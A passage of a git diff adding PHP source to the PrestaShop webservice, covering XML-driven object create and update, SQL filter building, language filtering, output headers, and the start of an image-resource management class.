{ + $attributes = $xmlEntity->children(); + + if ($this->method == 'POST') + $object = new $this->resourceConfiguration['retrieveData']['className'](); + elseif ($this->method == 'PUT') + { + $object = new $this->resourceConfiguration['retrieveData']['className']((int)$attributes->id); + if (!$object->id) + { + $this->setError(404, 'Invalid ID', 92); + return false; + } + } + $this->objects[] = $object; + $i18n = false; + // attributes + foreach ($this->resourceConfiguration['fields'] as $fieldName => $fieldProperties) + { + $sqlId = $fieldProperties['sqlId']; + + if ($fieldName == 'id') + $sqlId = $fieldName; + if (isset($attributes->$fieldName) && isset($fieldProperties['sqlId']) && (!isset($fieldProperties['i18n']) || !$fieldProperties['i18n'])) + { + if (isset($fieldProperties['setter'])) + { + // if we have to use a specific setter + if (!$fieldProperties['setter']) + { + // if it's forbidden to set this field + $this->setError(400, 'parameter "'.$fieldName.'" not writable. Please remove this attribute of this XML', 93); + return false; + } + else + $object->$fieldProperties['setter']((string)$attributes->$fieldName); + } + elseif (property_exists($object, $sqlId)) + $object->$sqlId = (string)$attributes->$fieldName; + else + $this->setError(400, 'Parameter "'.$fieldName.'" can\'t be set to the object "'.$this->resourceConfiguration['retrieveData']['className'].'"', 123); + + } + elseif (isset($fieldProperties['required']) && $fieldProperties['required'] && !$fieldProperties['i18n']) + { + $this->setError(400, 'parameter "'.$fieldName.'" required', 41); + return false; + } + elseif ((!isset($fieldProperties['required']) || !$fieldProperties['required']) && property_exists($object, $sqlId)) + $object->$sqlId = null; + if (isset($fieldProperties['i18n']) && $fieldProperties['i18n']) + { + $i18n = true; + if (isset($attributes->$fieldName, $attributes->$fieldName->language)) + foreach ($attributes->$fieldName->language as $lang) + $object->{$fieldName}[(int)$lang->attributes()->id] = (string)$lang; + else + $object->{$fieldName} = (string)$attributes->$fieldName; + } + } + if (!$this->hasErrors()) + { + if ($i18n && ($retValidateFieldsLang = $object->validateFieldsLang(false, true)) !== true) + { + $this->setError(400, 'Validation error: "'.$retValidateFieldsLang.'"', 84); + return false; + } + elseif (($retValidateFields = $object->validateFields(false, true)) !== true) + { + $this->setError(400, 'Validation error: "'.$retValidateFields.'"', 85); + return false; + } + else + { + // Call alternative method for add/update + $objectMethod = ($this->method == 'POST' ? 'add' : 'update'); + if (isset($this->resourceConfiguration['objectMethods']) && array_key_exists($objectMethod, $this->resourceConfiguration['objectMethods'])) + $objectMethod = $this->resourceConfiguration['objectMethods'][$objectMethod]; + $result = $object->{$objectMethod}(); + if($result) + { + if (isset($attributes->associations)) + foreach ($attributes->associations->children() as $association) + { + // associations + if (isset($this->resourceConfiguration['associations'][$association->getName()])) + { + $assocItems = $association->children(); + $values = array(); + foreach ($assocItems as $assocItem) + { + $fields = $assocItem->children(); + $entry = array(); + foreach ($fields as $fieldName => $fieldValue) + $entry[$fieldName] = (string)$fieldValue; + $values[] = $entry; + } + $setter = $this->resourceConfiguration['associations'][$association->getName()]['setter']; + if (!is_null($setter) && $setter && method_exists($object, $setter) && !$object->$setter($values)) + { + $this->setError(500, 'Error occurred while setting the '.$association->getName().' value', 85); + return false; + } + } + elseif ($association->getName() != 'i18n') + { + $this->setError(400, 'The association "'.$association->getName().'" does not exists', 86); + return false; + } + } + $assoc = Shop::getAssoTable($this->resourceConfiguration['retrieveData']['table']); + if ($assoc !== false && $assoc['type'] != 'fk_shop') + { + // PUT nor POST is destructive, no deletion + $sql = 'INSERT IGNORE INTO `'.bqSQL(_DB_PREFIX_.$this->resourceConfiguration['retrieveData']['table'].'_'.$assoc['type']).'` (id_shop, '.pSQL($this->resourceConfiguration['fields']['id']['sqlId']).') VALUES '; + foreach (self::$shopIDs as $id) + { + $sql .= '('.(int)$id.','.(int)$object->id.')'; + if ($id != end(self::$shopIDs)) + $sql .= ', '; + } + Db::getInstance()->execute($sql); + } + } + else + $this->setError(500, 'Unable to save resource', 46); + } + } + } + if (!$this->hasErrors()) + { + $this->objOutput->setStatus($successReturnCode); + return true; + } + } + + /** + * get SQL retrieve Filter + * + * @param string $sqlId + * @param string $filterValue + * @param string $tableAlias = 'main.' + * @return string + */ + protected function getSQLRetrieveFilter($sqlId, $filterValue, $tableAlias = 'main.') + { + $ret = ''; + preg_match('/^(.*)\[(.*)\](.*)$/', $filterValue, $matches); + if (count($matches) > 1) + { + if ($matches[1] == '%' || $matches[3] == '%') + $ret .= ' AND '.bqSQL($tableAlias).'`'.bqSQL($sqlId).'` LIKE "'.pSQL($matches[1].$matches[2].$matches[3])."\"\n"; + elseif ($matches[1] == '' && $matches[3] == '') + { + if (strpos($matches[2], '|') > 0) + { + $values = explode('|', $matches[2]); + $ret .= ' AND ('; + $temp = ''; + foreach ($values as $value) + $temp .= bqSQL($tableAlias).'`'.bqSQL($sqlId).'` = "'.bqSQL($value).'" OR '; + $ret .= rtrim($temp, 'OR ').')'."\n"; + } + elseif (preg_match('/^([\d\.:-\s]+),([\d\.:-\s]+)$/', $matches[2], $matches3)) + { + unset($matches3[0]); + if (count($matches3) > 0) + { + sort($matches3); + $ret .= ' AND '.$tableAlias.'`'.bqSQL($sqlId).'` BETWEEN "'.pSQL($matches3[0]).'" AND "'.pSQL($matches3[1])."\"\n"; + } + } + else + $ret .= ' AND '.$tableAlias.'`'.bqSQL($sqlId).'`="'.pSQL($matches[2]).'"'."\n"; + } + elseif ($matches[1] == '>') + $ret .= ' AND '.$tableAlias.'`'.bqSQL($sqlId).'` > "'.pSQL($matches[2])."\"\n"; + elseif ($matches[1] == '<') + $ret .= ' AND '.$tableAlias.'`'.bqSQL($sqlId).'` < "'.pSQL($matches[2])."\"\n"; + elseif ($matches[1] == '!') + $ret .= ' AND '.$tableAlias.'`'.bqSQL($sqlId).'` != "'.pSQL($matches[2])."\"\n"; + } + else + $ret .= ' AND '.$tableAlias.'`'.bqSQL($sqlId).'` '.(Validate::isFloat(pSQL($filterValue)) ? 'LIKE' : '=').' "'.pSQL($filterValue)."\"\n"; + return $ret; + } + + public function filterLanguage() + { + $arr_languages = array(); + $length_values = strlen($this->urlFragments['language']); + // if just one language is asked + if (is_numeric($this->urlFragments['language'])) + $arr_languages[] = (int)$this->urlFragments['language']; + // if a range or a list is asked + elseif (strpos($this->urlFragments['language'], '[') === 0 + && strpos($this->urlFragments['language'], ']') === $length_values-1) + { + if (strpos($this->urlFragments['language'], '|') !== false + XOR strpos($this->urlFragments['language'], ',') !== false) + { + $params_values = str_replace(array(']', '['), '', $this->urlFragments['language']); + // it's a list + if (strpos($params_values, '|') !== false) + { + $list_enabled_lang = explode('|', $params_values); + $arr_languages = $list_enabled_lang; + } + // it's a range + elseif (strpos($params_values, ',') !== false) + { + $range_enabled_lang = explode(',', $params_values); + if (count($range_enabled_lang) != 2) + { + $this->setError(400, 'A range value for a language must contains only 2 values', 78); + return false; + } + for ($i = $range_enabled_lang[0]; $i <= $range_enabled_lang[1]; $i++) + $arr_languages[] = $i; + } + } + else if (preg_match('#\[(\d)+\]#Ui', $this->urlFragments['language'], $match_lang)) + { + $arr_languages[] = $match_lang[1]; + } + } + else + { + $this->setError(400, 'language value is wrong', 79); + return false; + } + + $result = array_map('is_numeric', $arr_languages); + if (array_search(false, $result, true)) + { + $this->setError(400, 'Language ID must be numeric', 80); + return false; + } + + foreach ($arr_languages as $key=>$id_lang) + if (!Language::getLanguage($id_lang)) + unset($arr_languages[$key]); + + return $arr_languages; + } + + /** + * Thanks to the (WebserviceOutputBuilder) WebserviceKey::objOutput + * Method build the output depend on the WebserviceRequest::outputFormat + * and set HTTP header parameters. + * + * @return array with displaying informations (used in the dispatcher). + */ + protected function returnOutput() + { + $return = array(); + + // write headers + $this->objOutput->setHeaderParams('Access-Time', time()) + ->setHeaderParams('X-Powered-By', 'PrestaShop Webservice') + ->setHeaderParams('PSWS-Version', _PS_VERSION_) + ->setHeaderParams('Execution-Time', round(microtime(true) - $this->_startTime,3)); + + + $return['type'] = strtolower($this->outputFormat); + + // write this header only now (avoid hackers happiness...) + if ($this->_authenticated) + { + $this->objOutput->setHeaderParams('PSWS-Version', _PS_VERSION_); + } + + // If Specific Management is asked + if ($this->objectSpecificManagement instanceof WebserviceSpecificManagementInterface) + { + try { + $return['content'] = $this->objectSpecificManagement->getContent(); + } catch (WebserviceException $e) { + if ($e->getType() == WebserviceException::DID_YOU_MEAN) + $this->setErrorDidYouMean($e->getStatus(), $e->getMessage(), $e->getWrongValue(), $e->getAvailableValues(), $e->getCode()); + elseif ($e->getType() == WebserviceException::SIMPLE) + $this->setError($e->getStatus(), $e->getMessage(), $e->getCode()); + } + } + + // for use a general output + if (!$this->hasErrors() && $this->objectSpecificManagement == null) + { + if (empty($this->objects)) + { + try { + $return['content'] = $this->objOutput->getResourcesList($this->keyPermissions); + } catch (WebserviceException $e) { + if ($e->getType() == WebserviceException::DID_YOU_MEAN) + $this->setErrorDidYouMean($e->getStatus(), $e->getMessage(), $e->getWrongValue(), $e->getAvailableValues(), $e->getCode()); + elseif ($e->getType() == WebserviceException::SIMPLE) + $this->setError($e->getStatus(), $e->getMessage(), $e->getCode()); + } + } + else + { + try { + if (isset($this->urlSegment[1]) && !empty($this->urlSegment[1])) + $type_of_view = WebserviceOutputBuilder::VIEW_DETAILS; + else + $type_of_view = WebserviceOutputBuilder::VIEW_LIST; + + if (in_array($this->method, array('PUT', 'POST'))) + { + $type_of_view = WebserviceOutputBuilder::VIEW_DETAILS; + $this->fieldsToDisplay = 'full'; + } + + $return['content'] = $this->objOutput->getContent($this->objects, $this->schemaToDisplay, $this->fieldsToDisplay, $this->depth, $type_of_view); + } catch (WebserviceException $e) { + if ($e->getType() == WebserviceException::DID_YOU_MEAN) + $this->setErrorDidYouMean($e->getStatus(), $e->getMessage(), $e->getWrongValue(), $e->getAvailableValues(), $e->getCode()); + elseif ($e->getType() == WebserviceException::SIMPLE) + $this->setError($e->getStatus(), $e->getMessage(), $e->getCode()); + } catch (Exception $e) { + $this->setError(500, $e->getMessage(), $e->getCode()); + } + } + } + + // if the output is not enable, delete the content + // the type content too + if (!$this->_outputEnabled) + { + if (isset($return['type'])) + unset($return['type']); + if (isset($return['content'])) + unset($return['content']); + } + + elseif (isset($return['content'])) + $this->objOutput->setHeaderParams('Content-Sha1', sha1($return['content'])); + + // if errors happends when creating returned xml, + // the usual xml content is replaced by the nice error handler content + if ($this->hasErrors()) + { + $this->_outputEnabled = true; + $return['content'] = $this->objOutput->getErrors($this->errors); + } + + if (!isset($return['content']) || strlen($return['content']) <= 0) + { + $this->objOutput->setHeaderParams('Content-Type', ''); + } + $return['headers'] = $this->objOutput->buildHeader(); + restore_error_handler(); + return $return; + } +} diff --git a/classes/webservice/WebserviceSpecificManagementImages.php b/classes/webservice/WebserviceSpecificManagementImages.php new file mode 100755 index 0000000..dd6401e --- /dev/null +++ b/classes/webservice/WebserviceSpecificManagementImages.php @@ -0,0 +1,1022 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class WebserviceSpecificManagementImagesCore implements WebserviceSpecificManagementInterface +{ + protected $objOutput; + protected $output; + protected $wsObject; + + /** + * @var string The extension of the image to display + */ + protected $imgExtension; + + /** + * @var array The type of images (general, categories, manufacturers, suppliers, stores...) + */ + protected $imageTypes = array( + 'general' => array( + 'header' => array(), + 'mail' => array(), + 'invoice' => array(), + 'store_icon' => array(), + ), + 'products' => array(), + 'categories' => array(), + 'manufacturers' => array(), + 'suppliers' => array(), + 'stores' => array() + ); + + /** + * @var string The image type (product, category, general,...) + */ + protected $imageType = null; + + /** + * @var int The maximum size supported when uploading images, in bytes + */ + protected $imgMaxUploadSize = 3000000; + + /** + * @var array The list of supported mime types + */ + protected $acceptedImgMimeTypes = array('image/gif', 'image/jpg', 'image/jpeg', 'image/pjpeg', 'image/png', 'image/x-png'); + + /** + * @var string The product image declination id + */ + protected $productImageDeclinationId = null; + + /** + * @var boolean If the current image management has to manage a "default" image (i.e. "No product available") + */ + protected $defaultImage = false; + + /** + * @var string The file path of the image to display. If not null, the image will be displayed, even if the XML output was not empty + */ + public $imgToDisplay = null; + public $imageResource = null; + + // ------------------------------------------------ + // GETTERS & SETTERS + // ------------------------------------------------ + + public function setObjectOutput(WebserviceOutputBuilderCore $obj) + { + $this->objOutput = $obj; + return $this; + } + + public function getObjectOutput() + { + return $this->objOutput; + } + + public function setWsObject(WebserviceRequestCore $obj) + { + $this->wsObject = $obj; + return $this; + } + + public function getWsObject() + { + return $this->wsObject; + } + + /* + * This method need $this->imgToDisplay to be set if output don't needs to be XML + */ + public function getContent() + { + if ($this->output != '') + return $this->objOutput->getObjectRender()->overrideContent($this->output); + // display image content if needed + else if ($this->imgToDisplay) + { + if(empty($this->imgExtension)){ + $imginfo = getimagesize($this->imgToDisplay); + $this->imgExtension = image_type_to_extension($imginfo[2],false); + } + + $imageResource = false; + $types = array( + 'jpg' => array('function' => 'imagecreatefromjpeg', 'Content-Type' => 'image/jpeg'), + 'jpeg' => array('function' => 'imagecreatefromjpeg', 'Content-Type' => 'image/jpeg'), + 'png' => array('function' => 'imagecreatefrompng', 'Content-Type' => 'image/png'), + 'gif' => array('function' => 'imagecreatefromgif', 'Content-Type' => 'image/gif') + ); + + if (array_key_exists($this->imgExtension, $types)) + $imageResource = @$types[$this->imgExtension]['function']($this->imgToDisplay); + + if(!$imageResource) + throw new WebserviceException(sprintf('Unable to load the image "%s"', str_replace(_PS_ROOT_DIR_, '[SHOP_ROOT_DIR]', $this->imgToDisplay)), array(47, 500)); + else + { + if (array_key_exists($this->imgExtension, $types)) + $this->objOutput->setHeaderParams('Content-Type', $types[$this->imgExtension]['Content-Type']); + return file_get_contents($this->imgToDisplay); + } + } + } + + public function manage() + { + $this->manageImages(); + return $this->wsObject->getOutputEnabled(); + } + + /** + * Management of images URL segment + * + * @return boolean + */ + protected function manageImages() + { + /* + * available cases api/... : + * + * images ("types_list") (N-1) + * GET (xml) + * images/general ("general_list") (N-2) + * GET (xml) + * images/general/[header,+] ("general") (N-3) + * GET (bin) + * PUT (bin) + * + * + * images/[categories,+] ("normal_list") (N-2) ([categories,+] = categories, manufacturers, ...) + * GET (xml) + * images/[categories,+]/[1,+] ("normal") (N-3) + * GET (bin) + * PUT (bin) + * DELETE + * POST (bin) (if image does not exists) + * images/[categories,+]/[1,+]/[small,+] ("normal_resized") (N-4) + * GET (bin) + * images/[categories,+]/default ("display_list_of_langs") (N-3) + * GET (xml) + * images/[categories,+]/default/[en,+] ("normal_default_i18n") (N-4) + * GET (bin) + * POST (bin) (if image does not exists) + * PUT (bin) + * DELETE + * images/[categories,+]/default/[en,+]/[small,+] ("normal_default_i18n_resized") (N-5) + * GET (bin) + * + * images/product ("product_list") (N-2) + * GET (xml) (list of image) + * images/product/[1,+] ("product_description") (N-3) + * GET (xml) (legend, declinations, xlink to images/product/[1,+]/bin) + * images/product/[1,+]/bin ("product_bin") (N-4) + * GET (bin) + * POST (bin) (if image does not exists) + * images/product/[1,+]/[1,+] ("product_declination") (N-4) + * GET (bin) + * POST (xml) (legend) + * PUT (xml) (legend) + * DELETE + * images/product/[1,+]/[1,+]/bin ("product_declination_bin") (N-5) + * POST (bin) (if image does not exists) + * GET (bin) + * PUT (bin) + * images/product/[1,+]/[1,+]/[small,+] ("product_declination_resized") (N-5) + * GET (bin) + * images/product/default ("product_default") (N-3) + * GET (bin) + * images/product/default/[en,+] ("product_default_i18n") (N-4) + * GET (bin) + * POST (bin) + * PUT (bin) + * DELETE + * images/product/default/[en,+]/[small,+] ("product_default_i18n_resized") (N-5) + * GET (bin) + * + */ + + + /* Declinated + *ok GET (bin) + *ok images/product ("product_list") (N-2) + *ok GET (xml) (list of image) + *ok images/product/[1,+] ("product_description") (N-3) + * GET (xml) (legend, declinations, xlink to images/product/[1,+]/bin) + *ok images/product/[1,+]/bin ("product_bin") (N-4) + *ok GET (bin) + * POST (bin) (if image does not exists) + *ok images/product/[1,+]/[1,+] ("product_declination") (N-4) + *ok GET (bin) + * POST (xml) (legend) + * PUT (xml) (legend) + * DELETE + *ok images/product/[1,+]/[1,+]/bin ("product_declination_bin") (N-5) + * POST (bin) (if image does not exists) + *ok GET (bin) + * PUT (bin) + * images/product/[1,+]/[1,+]/[small,+] ("product_declination_resized") (N-5) + *ok GET (bin) + *ok images/product/default ("product_default") (N-3) + *ok GET (bin) + *ok images/product/default/[en,+] ("product_default_i18n") (N-4) + *ok GET (bin) + * POST (bin) + * PUT (bin) + * DELETE + *ok images/product/default/[en,+]/[small,+] ("product_default_i18n_resized") (N-5) + *ok GET (bin) + * + * */ + + + // Pre configuration... + if(isset($this->wsObject->urlSegment)) + for ($i = 1; $i < 6; $i++) + if (count($this->wsObject->urlSegment) == $i) + $this->wsObject->urlSegment[$i] = ''; + + $this->imageType = $this->wsObject->urlSegment[1]; + + switch ($this->wsObject->urlSegment[1]) + { + // general images management : like header's logo, invoice logo, etc... + case 'general': + return $this->manageGeneralImages(); + break; + // normal images management : like the most entity images (categories, manufacturers..)... + case 'categories': + case 'manufacturers': + case 'suppliers': + case 'stores': + switch ($this->wsObject->urlSegment[1]) + { + case 'categories': + $directory = _PS_CAT_IMG_DIR_; + break; + case 'manufacturers': + $directory = _PS_MANU_IMG_DIR_; + break; + case 'suppliers': + $directory = _PS_SUPP_IMG_DIR_; + break; + case 'stores': + $directory = _PS_STORE_IMG_DIR_; + break; + } + return $this->manageDeclinatedImages($directory); + break; + + // product image management : many image for one entity (product) + case 'products': + return $this->manageProductImages(); + break; + + // images root node management : many image for one entity (product) + case '': + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('image_types', array()); + foreach (array_keys($this->imageTypes) as $imageTypeName) + { + $more_attr = array( + 'xlink_resource' => $this->wsObject->wsUrl.$this->wsObject->urlSegment[0].'/'.$imageTypeName, + 'get' => 'true', 'put' => 'false', 'post' => 'false', 'delete' => 'false', 'head' => 'true', + 'upload_allowed_mimetypes' => implode(', ', $this->acceptedImgMimeTypes) + ); + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader($imageTypeName, array(), $more_attr, false); + } + $this->output .= $this->objOutput->getObjectRender()->renderNodeFooter('image_types', array()); + return true; + break; + + default: + $exception = new WebserviceException(sprintf('Image of type "%s" does not exists', $this->wsObject->urlSegment[1]), array(48, 400)); + throw $exception->setDidYouMean($this->wsObject->urlSegment[1], array_keys($this->imageTypes)); + } + } +/** + * Management of general images + * + * @return boolean + */ + protected function manageGeneralImages() + { + $path = ''; + $alternative_path = ''; + switch ($this->wsObject->urlSegment[2]) + { + // Set the image path on display in relation to the header image + case 'header': + if (in_array($this->wsObject->method, array('GET','HEAD','PUT'))) + $path = _PS_IMG_DIR_.Configuration::get('PS_LOGO'); + else + throw new WebserviceException('This method is not allowed with general image resources.', array(49, 405)); + break; + + // Set the image path on display in relation to the mail image + case 'mail': + if (in_array($this->wsObject->method, array('GET','HEAD','PUT'))) + { + $path = _PS_IMG_DIR_.Configuration::get('PS_LOGO_MAIL'); + $alternative_path = _PS_IMG_DIR_.Configuration::get('PS_LOGO'); + } + else + throw new WebserviceException('This method is not allowed with general image resources.', array(50, 405)); + break; + + // Set the image path on display in relation to the invoice image + case 'invoice': + if (in_array($this->wsObject->method, array('GET','HEAD','PUT'))) + { + $path = _PS_IMG_DIR_.Configuration::get('PS_LOGO_INVOICE'); + $alternative_path = _PS_IMG_DIR_.Configuration::get('PS_LOGO'); + } + else + throw new WebserviceException('This method is not allowed with general image resources.', array(51, 405)); + break; + + // Set the image path on display in relation to the icon store image + case 'store_icon': + if (in_array($this->wsObject->method, array('GET','HEAD','PUT'))) + { + $path = _PS_IMG_DIR_.Configuration::get('PS_STORES_ICON'); + $this->imgExtension = 'gif'; + } + else + throw new WebserviceException('This method is not allowed with general image resources.', array(52, 405)); + break; + + // List the general image types + case '': + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('general_image_types', array()); + foreach (array_keys($this->imageTypes['general']) as $generalImageTypeName) + { + $more_attr = array( + 'xlink_resource' => $this->wsObject->wsUrl.$this->wsObject->urlSegment[0].'/'.$this->wsObject->urlSegment[1].'/'.$generalImageTypeName, + 'get' => 'true', 'put' => 'true', 'post' => 'false', 'delete' => 'false', 'head' => 'true', + 'upload_allowed_mimetypes' => implode(', ', $this->acceptedImgMimeTypes) + ); + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader($generalImageTypeName, array(), $more_attr, false); + } + $this->output .= $this->objOutput->getObjectRender()->renderNodeFooter('general_image_types', array()); + return true; + break; + + // If the image type does not exist... + default: + $exception = new WebserviceException(sprintf('General image of type "%s" does not exists', $this->wsObject->urlSegment[2]), array(53, 400)); + throw $exception->setDidYouMean($this->wsObject->urlSegment[2], array_keys($this->imageTypes['general'])); + } + // The general image type is valid, now we try to do action in relation to the method + switch($this->wsObject->method) + { + case 'GET': + case 'HEAD': + $this->imgToDisplay = ($path != '' && file_exists($path) && is_file($path)) ? $path : $alternative_path; + return true; + break; + case 'PUT': + + if ($this->writePostedImageOnDisk($path, null, null)) + { + if ($this->wsObject->urlSegment[2] == 'header') + { + list($width, $height, $type, $attr) = getimagesize(_PS_IMG_DIR_.'logo.jpg'); + Configuration::updateValue('SHOP_LOGO_WIDTH', (int)round($width)); + Configuration::updateValue('SHOP_LOGO_HEIGHT', (int)round($height)); + } + $this->imgToDisplay = $path; + return true; + } + else + throw new WebserviceException('Error while copying image to the directory', array(54, 400)); + break; + } + } + + protected function manageDefaultDeclinatedImages($directory, $normal_image_sizes) + { + $this->defaultImage = true; + // Get the language iso code list + $langList = Language::getIsoIds(true); + $langs = array(); + $defaultLang = Configuration::get('PS_LANG_DEFAULT'); + foreach ($langList as $lang) + { + if ($lang['id_lang'] == $defaultLang) + $defaultLang = $lang['iso_code']; + $langs[] = $lang['iso_code']; + } + + // Display list of languages + if($this->wsObject->urlSegment[3] == '' && $this->wsObject->method == 'GET') + { + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('languages', array()); + foreach ($langList as $lang) + { + $more_attr = array( + 'xlink_resource' => $this->wsObject->wsUrl.'images/'.$this->imageType.'/default/'.$lang['iso_code'], + 'get' => 'true', 'put' => 'true', 'post' => 'true', 'delete' => 'true', 'head' => 'true', + 'upload_allowed_mimetypes' => implode(', ', $this->acceptedImgMimeTypes), + 'iso'=>$lang['iso_code'] + ); + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('language', array(), $more_attr, false); + } + + $this->output .= $this->objOutput->getObjectRender()->renderNodeFooter('languages', array()); + return true; + } + else + { + $lang_iso = $this->wsObject->urlSegment[3]; + $image_size = $this->wsObject->urlSegment[4]; + if ($image_size != '') + $filename = $directory.$lang_iso.'-default-'.$image_size.'.jpg'; + else + $filename = $directory.$lang_iso.'.jpg'; + $filename_exists = file_exists($filename); + return $this->manageDeclinatedImagesCRUD($filename_exists, $filename, $normal_image_sizes, $directory);// @todo : [feature] @see todo#1 + } + } + + protected function manageListDeclinatedImages($directory, $normal_image_sizes) + { + // Check if method is allowed + if ($this->wsObject->method != 'GET') + throw new WebserviceException('This method is not allowed for listing category images.', array(55, 405)); + + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('image_types', array()); + foreach ($normal_image_sizes as $image_size) + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('image_type', array(), array('id' => $image_size['id_image_type'], 'name' => $image_size['name'], 'xlink_resource'=>$this->wsObject->wsUrl.'image_types/'.$image_size['id_image_type']), false); + $this->output .= $this->objOutput->getObjectRender()->renderNodeFooter('image_types', array()); + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('images', array()); + + if ($this->imageType == 'products') + { + $ids = array(); + $images = Image::getAllImages(); + foreach ($images as $image) + $ids[] = $image['id_product']; + $ids = array_unique($ids, SORT_NUMERIC); + asort($ids); + foreach ($ids as $id) + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('image', array(), array('id' => $id, 'xlink_resource'=>$this->wsObject->wsUrl.'images/'.$this->imageType.'/'.$id), false); + } + else + { + $nodes = scandir($directory); + foreach ($nodes as $node) + { + // avoid too much preg_match... + if ($node != '.' && $node != '..' && $node != '.svn') + { + if ($this->imageType != 'products') + { + preg_match('/^(\d+)\.jpg*$/Ui', $node, $matches); + if (isset($matches[1])) + { + $id = $matches[1]; + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('image', array(), array('id' => $id, 'xlink_resource'=>$this->wsObject->wsUrl.'images/'.$this->imageType.'/'.$id), false); + } + } + } + } + } + $this->output .= $this->objOutput->getObjectRender()->renderNodeFooter('images', array()); + return true; + } + + protected function manageEntityDeclinatedImages($directory, $normal_image_sizes) + { + $normal_image_size_names = array(); + foreach ($normal_image_sizes as $normal_image_size) + $normal_image_size_names[] = $normal_image_size['name']; + // If id is detected + $object_id = $this->wsObject->urlSegment[2]; + if (!Validate::isUnsignedId($object_id)) + throw new WebserviceException('The image id is invalid. Please set a valid id or the "default" value', array(60, 400)); + + // For the product case + if ($this->imageType == 'products') + { + // Get available image ids + $available_image_ids = array(); + + // New Behavior + $languages = Language::getLanguages(); + foreach ($languages as $language) + foreach (Image::getImages($language['id_lang'], $object_id) as $image) + $available_image_ids[] = $image['id_image']; + + + // If an image id is specified + if ($this->wsObject->urlSegment[3] != '') + { + if ($this->wsObject->urlSegment[3] == 'bin') + { + $currentProduct = new Product($object_id); + $this->wsObject->urlSegment[3] = $currentProduct->getCoverWs(); + } + if (!Validate::isUnsignedId($object_id) || !in_array($this->wsObject->urlSegment[3], $available_image_ids)) + throw new WebserviceException('This image id does not exist', array(57, 400)); + else + { + + // Check for new image system + $image_id = $this->wsObject->urlSegment[3]; + $path = implode('/', str_split((string)$image_id)); + $image_size = $this->wsObject->urlSegment[4]; + + if (file_exists($directory.$path.'/'.$image_id.(strlen($this->wsObject->urlSegment[4]) > 0 ? '-'.$this->wsObject->urlSegment[4] : '').'.jpg')) + { + $filename = $directory.$path.'/'.$image_id.(strlen($this->wsObject->urlSegment[4]) > 0 ? '-'.$this->wsObject->urlSegment[4] : '').'.jpg'; + $orig_filename = $directory.$path.'/'.$image_id.'.jpg'; + } + else // else old system or not exists + { + $orig_filename = $directory.$object_id.'-'.$image_id.'.jpg'; + $filename = $directory.$object_id.'-'.$image_id.'-'.$image_size.'.jpg'; + } + } + } + // display the list of declinated images + else if ($this->wsObject->method == 'GET' || $this->wsObject->method == 'HEAD') + { + if ($available_image_ids) + { + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('image', array(), array('id'=>$object_id)); + foreach ($available_image_ids as $available_image_id) + $this->output .= $this->objOutput->getObjectRender()->renderNodeHeader('declination', array(), array('id'=>$available_image_id, 'xlink_resource'=>$this->wsObject->wsUrl.'images/'.$this->imageType.'/'.$object_id.'/'.$available_image_id), false); + $this->output .= $this->objOutput->getObjectRender()->renderNodeFooter('image', array()); + } + else + { + $this->objOutput->setStatus(404); + $this->wsObject->setOutputEnabled(false); + } + } + + } + // for all other cases + else + { + $orig_filename = $directory.$object_id.'.jpg'; + $image_size = $this->wsObject->urlSegment[3]; + $filename = $directory.$object_id.'-'.$image_size.'.jpg'; + } + + + // in case of declinated images list of a product is get + if ($this->output != '') + return true; + + // If a size was given try to display it + elseif (isset($image_size) && $image_size != '') + { + + // Check the given size + if ($this->imageType == 'products' && $image_size == 'bin') + $filename = $directory.$object_id.'-'.$image_id.'.jpg'; + elseif (!in_array($image_size, $normal_image_size_names)) + { + $exception = new WebserviceException('This image size does not exist', array(58, 400)); + throw $exception->setDidYouMean($image_size, $normal_image_size_names); + } + if (!file_exists($filename)) + throw new WebserviceException('This image does not exist on disk', array(59, 500)); + + // Display the resized specific image + $this->imgToDisplay = $filename; + return true; + } + // Management of the original image (GET, PUT, POST, DELETE) + elseif (isset($orig_filename)) + { + $orig_filename_exists = file_exists($orig_filename); + return $this->manageDeclinatedImagesCRUD($orig_filename_exists, $orig_filename, $normal_image_sizes, $directory); + } + else + { + return $this->manageDeclinatedImagesCRUD(false, '', $normal_image_sizes, $directory); + } + } + + /** + * Management of normal images (as categories, suppliers, manufacturers and stores) + * + * @param string $directory the file path of the root of the images folder type + * @return boolean + */ + protected function manageDeclinatedImages($directory) + { + // Get available image sizes for the current image type + $normal_image_sizes = ImageType::getImagesTypes($this->imageType); + switch ($this->wsObject->urlSegment[2]) + { + // Match the default images + case 'default': + return $this->manageDefaultDeclinatedImages($directory, $normal_image_sizes); + break; + // Display the list of images + case '': + return $this->manageListDeclinatedImages($directory, $normal_image_sizes); + break; + default: + return $this->manageEntityDeclinatedImages($directory, $normal_image_sizes); + break; + } + + } + + protected function manageProductImages() + { + $this->manageDeclinatedImages(_PS_PROD_IMG_DIR_); + } + + /** + * Management of normal images CRUD + * + * @param boolean $filename_exists if the filename exists + * @param string $filename the image path + * @param array $imageSizes The + * @param string $directory + * @return boolean + */ + protected function manageDeclinatedImagesCRUD($filename_exists, $filename, $imageSizes, $directory) + { + switch ($this->wsObject->method) + { + // Display the image + case 'GET': + case 'HEAD': + if ($filename_exists) + $this->imgToDisplay = $filename; + else + throw new WebserviceException('This image does not exist on disk', array(61, 500)); + break; + // Modify the image + case 'PUT': + if 